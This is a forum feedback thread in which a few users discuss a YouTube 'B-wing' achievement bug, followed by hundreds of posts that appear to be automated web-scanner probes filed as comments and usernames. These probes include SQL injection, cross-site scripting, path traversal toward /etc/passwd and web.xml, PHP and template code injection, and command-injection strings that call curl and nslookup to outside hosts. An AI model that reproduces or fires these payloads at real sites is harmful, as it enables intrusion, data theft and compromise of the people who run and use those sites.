Feedback

Youtube B-wing achievement by chuck norris - 160 months ago

I just destroyed Youtube with the B-wing thing and was disappointed to not receive my achievement :(
I'm going to go roundhouse kick something now

• BeyPokéDig

  Try any other Youtube page (a video for example). It will eventually work.

• DevilishDB

  Ditto. Maybe it's 'cause you have to start with it - even if you don't shoot anythigng before changing the ship it won't work. At least that's what I think.

• nba king

  well what you think is 100% wrong !! its a major glitch in the system

• jesseg

  It didn't work for me until I disabled "HTTPS Everywhere" extension, and visited youtube unencrypted. Then it worked for me the first time. That's for sure a bug.

• lxbfYeaa

  1

• lxbfYeaa

  1

• Bun

  jn

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1BESeVdr72O

• 1Ygzk4sfnO

  1

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  ${9999055+9999700}

• ${9999731+10000383}

  1

• Anonymous

  1

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  response.write(9316405*9825647)

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  1

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  '+response.write(9316405*9825647)+'

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  echo wukntb$()\ lmizvm\nz^xyu||a #' &echo wukntb$()\ lmizvm\nz^xyu||a #|" &echo wukntb$()\ lmizvm\nz^xyu||a #

• WfxYANoW

  /etc/shells

• WfxYANoW

  "+response.write(9316405*9825647)+"

• WfxYANoW

  &echo szkvml$()\ znxmqj\nz^xyu||a #' &echo szkvml$()\ znxmqj\nz^xyu||a #|" &echo szkvml$()\ znxmqj\nz^xyu||a #

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  ../1

• WfxYANoW

  1&echo ndtwsi$()\ hxeltk\nz^xyu||a #' &echo ndtwsi$()\ hxeltk\nz^xyu||a #|" &echo ndtwsi$()\ hxeltk\nz^xyu||a #

• WfxYANoW

  AvzislI2

• response.write(9362078*9803808)

  1

• WfxYANoW

  7sS4Onwi: ZUbuQrSp

• WfxYANoW

  c:/windows/win.ini

• '+response.write(9362078*9803808)+'

  1

• "+response.write(9362078*9803808)+"

  1

• WfxYANoW

  |echo hadewd$()\ gfzvpx\nz^xyu||a #' |echo hadewd$()\ gfzvpx\nz^xyu||a #|" |echo hadewd$()\ gfzvpx\nz^xyu||a #

• WfxYANoW

  bxss.me

• 2rurxSjb

  1

• WfxYANoW

  1|echo bgvkea$()\ lvgqde\nz^xyu||a #' |echo bgvkea$()\ lvgqde\nz^xyu||a #|" |echo bgvkea$()\ lvgqde\nz^xyu||a #

• WfxYANoW

  (nslookup -q=cname hitbaiqbyeiuj50cee.bxss.me||curl hitbaiqbyeiuj50cee.bxss.me))

• agd5Uo3Q: z60erWCH

  1

• WfxYANoW

  $(nslookup -q=cname hitqgqvrlhtgh0c2cc.bxss.me||curl hitqgqvrlhtgh0c2cc.bxss.me)

• WfxYANoW

  1&n924198=v921569

• MlRhYUFOMmg=

  1

• WfxYANoW

  &nslookup -q=cname hitdomkzzfsdj9264f.bxss.me&'\"`0&nslookup -q=cname hitdomkzzfsdj9264f.bxss.me&`'

• WfxYANoW

  &(nslookup -q=cname hitvghvpjuaao45912.bxss.me||curl hitvghvpjuaao45912.bxss.me)&'\"`0&(nslookup -q=cname hitvghvpjuaao45912.bxss.me||curl hitvghvpjuaao45912.bxss.me)&`'

• WfxYANoW

  )

• WfxYANoW

  |(nslookup -q=cname hityfxnchzigj6db62.bxss.me||curl hityfxnchzigj6db62.bxss.me)

• WfxYANoW

  !(()&&!|*|*|

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW&n998598=v975039

  1

• WfxYANoW

  `(nslookup -q=cname hitcwlydmncif4de85.bxss.me||curl hitcwlydmncif4de85.bxss.me)`

• Http://bxss.me/t/fit.txt

  1

• file:///etc/passwd

  1

• WfxYANoW

  1

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  1

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  ;(nslookup -q=cname hitbmubjtekvj01ea4.bxss.me||curl hitbmubjtekvj01ea4.bxss.me)|(nslookup -q=cname hitbmubjtekvj01ea4.bxss.me||curl hitbmubjtekvj01ea4.bxss.me)&(nslookup -q=cname hitbmubjtekvj01ea4.bxss.me||curl hitbmubjtekvj01ea4.bxss.me)

• /etc/shells

  1

• WfxYANoW

  '"()

• )

  1

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitzabrwzrqbs1dae1.bxss.me||curl${IFS}hitzabrwzrqbs1dae1.bxss.me)

• WfxYANoW

  '.gethostbyname(lc('hitcq'.'ciszdgvbe516f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(67).chr(122).chr(83).'

• ../WfxYANoW

  1

• WfxYANoW

  ".gethostbyname(lc("hitnf"."ltvdrchid8845.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(74).chr(100).chr(68)."

• WfxYANoW

  1'&&sleep(27*1000)*hthsdg&&'

• WfxYANoW

  1"&&sleep(27*1000)*ctwiyl&&"

• WfxYANoW

  gethostbyname(lc('hitvo'.'fjrfvlpod3556.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(85).chr(119).chr(89)

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  1'||sleep(27*1000)*ljxluo||'

• !(()&&!|*|*|

  1

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitegztnpjfxm6bb36.bxss.me||curl${IFS}hitegztnpjfxm6bb36.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitegztnpjfxm6bb36.bxss.me||curl${IFS}hitegztnpjfxm6bb36.bxss.me)&`'

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  1

• c:/windows/win.ini

  1

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  1"||sleep(27*1000)*guzqbo||"

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  ";print(md5(31337));$a="

• bxss.me

  1

• xfs.bxss.me

  1

• WfxYANoW

  '"

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  1'"()&%<zzz><ScRiPt >mgYD(9110)</ScRiPt>

• WfxYANoW

  1

• WfxYANoW

  <!--

• WfxYANoW

  bxss.me/t/xss.html?%00

• '"

  1

• '"()

  1

• WfxYANoW'&&sleep(27*1000)*ywrxim&&'

  1

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(107).concat(75).concat(108).concat(79)+(require"socket" Socket.gethostbyname("hitem"+"yfcgkxwpeb510.bxss.me.")[3].to_s)+"

• WfxYANoW

  '"()&%<zzz><ScRiPt >mgYD(9275)</ScRiPt>

• bxss.me/t/xss.html?%00

  1

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW"&&sleep(27*1000)*jkygwg&&"

  1

• WfxYANoW'||sleep(27*1000)*wswnpz||'

  1

• WfxYANoW

  19144299

• WfxYANoW"||sleep(27*1000)*jgxitp||"

  1

• WfxYANoW

  '.print(md5(31337)).'

• <!--

  1

• WfxYANoW

  comment

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(120).concat(88).concat(101).concat(87)+(require'socket' Socket.gethostbyname('hitqh'+'dikvmjqr435ec.bxss.me.')[3].to_s)+'

• ';print(md5(31337));$a='

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(120).concat(65).concat(109).concat(85)+(require'socket' Socket.gethostbyname('hityl'+'kkyhtiwh945c7.bxss.me.')[3].to_s)

• WfxYANoW

  comment

• ";print(md5(31337));$a="

  1

• ${@print(md5(31337))}

  1

• WfxYANoW

  bfg5536＜s1﹥s2ʺs3ʹhjl5536

• ${@print(md5(31337))}\

  1

• WfxYANoW

  comment/.

• comment

  1

• '.print(md5(31337)).'

  1

• comment

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• comment/.

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  1

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >mgYD(9263)</ScRiPt>

• WfxYANoW

  1<WP7ZTE>DHHLP[!+!]</WP7ZTE>

• WfxYANoW

  1<script>mgYD(9570)</script>

• WfxYANoW

  1<script>mgYD(9415)</script>9415

• WfxYANoW

  1<ScR<ScRiPt>IpT>mgYD(9926)</sCr<ScRiPt>IpT>

• WfxYANoW

  1PgpysZdJ

• WfxYANoW

  1<ScRiPt >mgYD(9361)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9161></ScRiPt>

• WfxYANoW

  1<ScRiPt >mgYD(9279)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=mgYD(9936)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9482'>

• WfxYANoW

  1<body onload=mgYD(9692)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=mgYD(9897)>

• WfxYANoW

  1<img src=xyz OnErRor=mgYD(9428)>

• WfxYANoW

  1

• WfxYANoW

  1<img/src=">" onerror=alert(9642)>

• WfxYANoW

  -1 OR 2+856-856-1=0+0+0+1 --

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%6D%67%59%44%289952%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  -1 OR 2+628-628-1=0+0+0+1

• WfxYANoW

  -1' OR 2+495-495-1=0+0+0+1 --

• WfxYANoW

  1\u003CScRiPt\mgYD(9027)\u003C/sCripT\u003E

• WfxYANoW

  -1' OR 2+433-433-1=0+0+0+1 or 'omUE1fzX'='

• WfxYANoW

  -1" OR 2+536-536-1=0+0+0+1 --

• WfxYANoW

  1&lt;ScRiPt&gt;mgYD(9786)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=mgYD(9534)>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1}body{zzz:Expre/**/SSion(mgYD(9994))}

• WfxYANoW

  1GxuuI <ScRiPt >mgYD(9425)</ScRiPt>

• WfxYANoW

  1<WW8AE1>BNIOK[!+!]</WW8AE1>

• WfxYANoW

  1<ifRAme sRc=9203.com></IfRamE>

• WfxYANoW

  1<abqJbrH x=9163>

• WfxYANoW

  1<img sRc='http://attacker-9890/log.php?

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• WfxYANoW

  1<aY2QOHF<

• WfxYANoW'"()&%<zzz><ScRiPt >mgYD(9400)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >mgYD(9885)</ScRiPt>

  1

• WfxYANoW9207123

  1

• bfg8307＜s1﹥s2ʺs3ʹhjl8307

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW<ScRiPt >mgYD(9813)</ScRiPt>

  1

• WfxYANoW<WNMJ9L>MP5IB[!+!]</WNMJ9L>

  1

• WfxYANoW<script>mgYD(9869)</script>

  1

• WfxYANoW<script>mgYD(9901)</script>9901

  1

• WfxYANoW<ScRiPt >mgYD(9440)</ScRiPt>

  1

• WfxYANoW<ScRiPt >mgYD(9628)</ScRiPt>

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW<body onload=mgYD(9584)>

  1

• WfxYANoW<img src=xyz OnErRor=mgYD(9691)>

  1

• WfxYANoW<img/src=">" onerror=alert(9820)>

  1

• WfxYANoW\u003CScRiPt\mgYD(9750)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;mgYD(9322)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=mgYD(9464)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW}body{zzz:Expre/**/SSion(mgYD(9388))}

  1

• WfxYANoWCdQZP <ScRiPt >mgYD(9909)</ScRiPt>

  1

• WfxYANoW<WS0L2Z>FQQP7[!+!]</WS0L2Z>

  1

• WfxYANoW<ifRAme sRc=9910.com></IfRamE>

  1

• WfxYANoW<aFaWHq2 x=9383>

  1

• WfxYANoW<img sRc='http://attacker-9689/log.php?

  1

• WfxYANoW<aHPHTwj<

  1

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1pJA5mMbR'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 276=(SELECT 276 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 206=(SELECT 206 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 358=(SELECT 358 FROM PG_SLEEP(15))--

• WfxYANoW

  119K4qgla' OR 805=(SELECT 805 FROM PG_SLEEP(15))--

• WfxYANoW

  1KS5tSlxy') OR 300=(SELECT 300 FROM PG_SLEEP(15))--

• WfxYANoW

  1IUAVVLUg')) OR 137=(SELECT 137 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),3)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@eMYu6

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWiymIOSQr

  1

• WfxYANoW

  1

• -1 OR 2+682-682-1=0+0+0+1 --

  1

• -1 OR 2+874-874-1=0+0+0+1

  1

• -1' OR 2+364-364-1=0+0+0+1 --

  1

• -1' OR 2+633-633-1=0+0+0+1 or 'JMRXI1Bg'='

  1

• -1" OR 2+265-265-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWw6SFqn7R'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@OfdfS

  1

• Peter Winter

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• ebwcaxwf

  1

• igtccumh

  response.write(9750201*9292943)

• dnigjlum

  1

• igtccumh

  '+response.write(9750201*9292943)+'

• oqxpllgw

  set|set&set

• dnigjlum

  1

• igtccumh

  "+response.write(9750201*9292943)+"

• oqxpllgw

  $(nslookup ssL6d59m)

• dnigjlum

  SKDKfqqP

• response.write(9056250*9018788)

  1

• oqxpllgw

  &nslookup flxJ7MDm&'\"`0&nslookup flxJ7MDm&`'

• dnigjlum

  -1 OR 2+302-302-1=0+0+0+1 --

• tyajhvbm

  4OE1KGRO

• '+response.write(9056250*9018788)+'

  1

• set|set&set

  1

• dnigjlum

  -1 OR 2+713-713-1=0+0+0+1

• Q6FG4Kz9

  1

• "+response.write(9056250*9018788)+"

  1

• $(nslookup GITvgz1F)

  1

• ewnkdoih

  ../../../../../../../../../../etc/passwd

• dnigjlum

  -1' OR 2+510-510-1=0+0+0+1 --

• gsxmfsvk

  1

• gvdbhlvx

  ${9999475+10000056}

• &nslookup jC9tz8pZ&'\"`0&nslookup jC9tz8pZ&`'

  1

• ewnkdoih

  ../../../../../../../../../../../../../../../proc/version

• dnigjlum

  -1' OR 2+170-170-1=0+0+0+1 or 'rVj2rwVX'='

• jqeegwxt

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• ${10000375+10000314}

  1

• clkwYXVmdjY=

  1

• tqvqbpmb

  1&n997586=v908535

• ewnkdoih

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• dnigjlum

  -1" OR 2+730-730-1=0+0+0+1 --

• jqeegwxt

  1some_inexistent_file_with_long_name.jpg

• hpmrtmqg

  )

• ewnkdoih

  ../../../../../../../../../../etc/passwd.jpg

• dnigjlum

  if(now()=sysdate(),sleep(13),0)/*'XOR(if(now()=sysdate(),sleep(13),0))OR'"XOR(if(now()=sysdate(),sleep(13),0))OR"*/

• jqeegwxt

  Http://testasp.vulnweb.com/t/fit.txt

• hpmrtmqg

  !(()&&!|*|*|

• wftwbfck

  '"()

• jlrarqrc&n971173=v974243

  1

• ewnkdoih

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• dnigjlum

  (select(0)from(select(sleep(13)))v)/*'+(select(0)from(select(sleep(13)))v)+'"+(select(0)from(select(sleep(13)))v)+"*/

• gsxmfsvk

  1

• jqeegwxt

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• hpmrtmqg

  ^(#$!@#$)(()))******

• kvihyivk

  ;print(md5(acunetix_wvs_security_test));

• ewnkdoih

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• dnigjlum

  -1; waitfor delay '0:0:13' --

• Anonymous

  1

• jqeegwxt

  testasp.vulnweb.com

• )

  1

• '"()

  1

• ngxodcch

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• kvihyivk

  ';print(md5(acunetix_wvs_security_test));$a='

• ewnkdoih

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• dnigjlum

  -1); waitfor delay '0:0:13' --

• !(()&&!|*|*|

  1

• pvddbbyw

  1

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• kvihyivk

  ";print(md5(acunetix_wvs_security_test));$a="

• ewnkdoih

  /etc/passwd

• dnigjlum

  1 waitfor delay '0:0:13' --

• 1some_inexistent_file_with_long_name.jpg

  1

• ^(#$!@#$)(()))******

  1

• pvddbbyw

  comment

• onodlacn

  http://hitiFS98BpFmo.bxss.me/

• kvihyivk

  ${@print(md5(acunetix_wvs_security_test))}

• ewnkdoih

  %2fetc%2fpasswd

• dnigjlum

  4bbeaqFY'; waitfor delay '0:0:4' --

• oduqpqxv

  1

• Http://testasp.vulnweb.com/t/fit.txt

  1

• qnwukevv

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• pvddbbyw

  comment

• kvihyivk

  ${@print(md5(acunetix_wvs_security_test))}\

• http://hit2IPfnMvInu.bxss.me/

  1

• ewnkdoih

  /.././.././.././.././.././.././.././../etc/./passwd%00

• dnigjlum

  Zub3Wlwa'; waitfor delay '0:0:0' --

• oduqpqxv

  1'"

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• pvddbbyw

  comment/.

• ;print(md5(acunetix_wvs_security_test));

  1

• xjfwpume

  /www.vulnweb.com

• ewnkdoih

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• dnigjlum

  -1;select pg_sleep(4); --

• oduqpqxv

  \

• testasp.vulnweb.com

  1

• bbjymdjp

  '"

• pvddbbyw

  1

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• /www.vulnweb.com

  1

• ewnkdoih

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• dnigjlum

  -1;select pg_sleep(0); --

• lhhjuwtn

  1'"()&%<acx><ScRiPt >qem9(9762)</ScRiPt>

• bbjymdjp

  <!--

• comment

  1

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• dnigjlum

  -1);select pg_sleep(4); --

• oduqpqxv

  @@FSy51

• '"

  1

• comment

  1

• ${@print(md5(acunetix_wvs_security_test))}

  1

• dnigjlum

  -1);select pg_sleep(9); --

• ewnkdoih

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• oduqpqxv

  JyI=

• <!--

  1

• lhhjuwtn

  '"()&%<acx><ScRiPt >qem9(9252)</ScRiPt>

• comment/.

  1

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• dnigjlum

  -1));select pg_sleep(4); --

• ewnkdoih

  file:///etc/passwd

• dnigjlum

  -1));select pg_sleep(9); --

• ewnkdoih

  /\../\../\../\../\../\../\../etc/passwd

• lhhjuwtn

  1_9564

• dnigjlum

  jkg9FDcl';select pg_sleep(4); --

• oduqpqxv

  (select convert(int,CHAR(65)))

• ewnkdoih

  WEB-INF/web.xml

• dnigjlum

  Qcww4pZM';select pg_sleep(13); --

• oduqpqxv

  1

• ewnkdoih

  /WEB-INF/web.xml

• lhhjuwtn

  acu4376＜s1﹥s2ʺs3ʹuca4376

• dnigjlum

  t3vYJ1D8');select pg_sleep(4); --

• 1'"

  1

• ewnkdoih

  WEB-INF\web.xml

• dnigjlum

  ZE7aD9xc');select pg_sleep(13); --

• \

  1

• ../../../../../../../../../../etc/passwd

  1

• dnigjlum

  0zPOXUeA'));select pg_sleep(9); --

• dnigjlum

  1

• @@CMi6Z

  1

• lhhjuwtn

  {{9999412*10000375}}

• dnigjlum

  1

• JyI=

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• TZSK94zG

  1

• lhhjuwtn

  1<ScRiPt >qem9(9974)</ScRiPt>

• -1 OR 2+150-150-1=0+0+0+1 --

  1

• -1 OR 2+935-935-1=0+0+0+1

  1

• (select convert(int,CHAR(65)))

  1

• lhhjuwtn

  1<WIGMK1>HPPT2[!+!]</WIGMK1>

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• -1' OR 2+446-446-1=0+0+0+1 --

  1

• /etc/passwd

  1

• -1' OR 2+440-440-1=0+0+0+1 or 'C3LH5msg'='

  1

• lhhjuwtn

  1<script>qem9(9945)</script>

• %2fetc%2fpasswd

  1

• -1" OR 2+953-953-1=0+0+0+1 --

  1

• lhhjuwtn

  1<ScR<ScRiPt>IpT>qem9(9460)</sCr<ScRiPt>IpT>

• 1 waitfor delay '0:0:6' --

  1

• lhhjuwtn

  1<ScRiPt >qem9(9117)</ScRiPt>

• rylKEWaY'; waitfor delay '0:0:6' --

  1

• 7SByHNjL';select pg_sleep(6); --

  1

• lhhjuwtn

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9898></ScRiPt>

• file:///etc/passwd

  1

• ZlPbWe0U');select pg_sleep(12); --

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• zyqpsXid'));select pg_sleep(12); --

  1

• lhhjuwtn

  1<ScRiPt >qem9(9361)</ScRiPt>

• WEB-INF/web.xml

  1

• /WEB-INF/web.xml

  1

• lhhjuwtn

  1<video><source onerror="javascript:qem9(9047)">

• WEB-INF\web.xml

  1

• lhhjuwtn

  1<isindex type=image src=1 onerror=qem9(9614)>

• lhhjuwtn

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9409'>

• lhhjuwtn

  1<body onload=qem9(9306)>

• lhhjuwtn

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=qem9(9016)>

• lhhjuwtn

  1<img src=xyz OnErRor=qem9(9428)>

• lhhjuwtn

  1<img/src=">" onerror=alert(9905)>

• lhhjuwtn

  %31%3C%53%63%52%69%50%74%20%3E%71%65%6D%39%289638%29%3C%2F%73%43%72%69%70%54%3E

• lhhjuwtn

  1\u003CScRiPt\qem9(9206)\u003C/sCripT\u003E

• lhhjuwtn

  1&lt;ScRiPt&gt;qem9(9087)&lt;/sCripT&gt;

• lhhjuwtn

  1<input autofocus onfocus=qem9(9814)>

• lhhjuwtn

  <a HrEF=http://www.vulnweb.com></a>

• lhhjuwtn

  <a HrEF=jaVaScRiPT:>

• lhhjuwtn

  [url=http://www.vulnweb.com][/url]

• lhhjuwtn

  1<img<!-- --> src=x onerror=alert(9688);//><!-- -->

• lhhjuwtn

  1}body{acu:Expre/**/SSion(qem9(9572))}

• lhhjuwtn

  1<% contenteditable onresize=qem9(9223)>

• lhhjuwtn

  1_XZ5Zo <ScRiPt >qem9(9254)</ScRiPt>

• lhhjuwtn

  1<WK78TC>MCAGT[!+!]</WK78TC>

• lhhjuwtn

  1<ifRAme sRc=9121.com></IfRamE>

• lhhjuwtn

  1<p53MG1 x=9196>

• lhhjuwtn

  1<img sRc='http://attacker-9131/log.php?

• lhhjuwtn'"()&%<acx><ScRiPt >qem9(9380)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >qem9(9219)</ScRiPt>

  1

• lhhjuwtn_9173

  1

• acu5169＜s1﹥s2ʺs3ʹuca5169

  1

• {{10000393*9999932}}

  1

• lhhjuwtn<ScRiPt >qem9(9312)</ScRiPt>

  1

• lhhjuwtn<WOB3WO>QPNI9[!+!]</WOB3WO>

  1

• lhhjuwtn<script>qem9(9704)</script>

  1

• lhhjuwtn<ScRiPt >qem9(9699)</ScRiPt>

  1

• lhhjuwtn<ScRiPt >qem9(9959)</ScRiPt>

  1

• lhhjuwtn<body onload=qem9(9828)>

  1

• lhhjuwtn<img src=xyz OnErRor=qem9(9798)>

  1

• lhhjuwtn<img/src=">" onerror=alert(9555)>

  1

• lhhjuwtn\u003CScRiPt\qem9(9637)\u003C/sCripT\u003E

  1

• lhhjuwtn&lt;ScRiPt&gt;qem9(9135)&lt;/sCripT&gt;

  1

• lhhjuwtn<input autofocus onfocus=qem9(9968)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• lhhjuwtn}body{acu:Expre/**/SSion(qem9(9319))}

  1

• lhhjuwtn<% contenteditable onresize=qem9(9525)>

  1

• lhhjuwtn_E0VIg <ScRiPt >qem9(9118)</ScRiPt>

  1

• lhhjuwtn<WWGKWC>R3ZQJ[!+!]</WWGKWC>

  1

• lhhjuwtn<ifRAme sRc=9985.com></IfRamE>

  1

• lhhjuwtn<sBQcDg x=9412>

  1

• lhhjuwtn<img sRc='http://attacker-9748/log.php?

  1

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1Ul6Po93H

• dwUQQUrL

  1

• dwUQQUrL

  -1 OR 2+294-294-1=0+0+0+1 --

• dwUQQUrL

  -1 OR 2+682-682-1=0+0+0+1

• dwUQQUrL

  -1' OR 2+15-15-1=0+0+0+1 --

• dwUQQUrL

  -1' OR 2+397-397-1=0+0+0+1 or 'hW5QF8qk'='

• dwUQQUrL

  -1" OR 2+570-570-1=0+0+0+1 --

• dwUQQUrL

  1*if(now()=sysdate(),sleep(15),0)

• dwUQQUrL

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

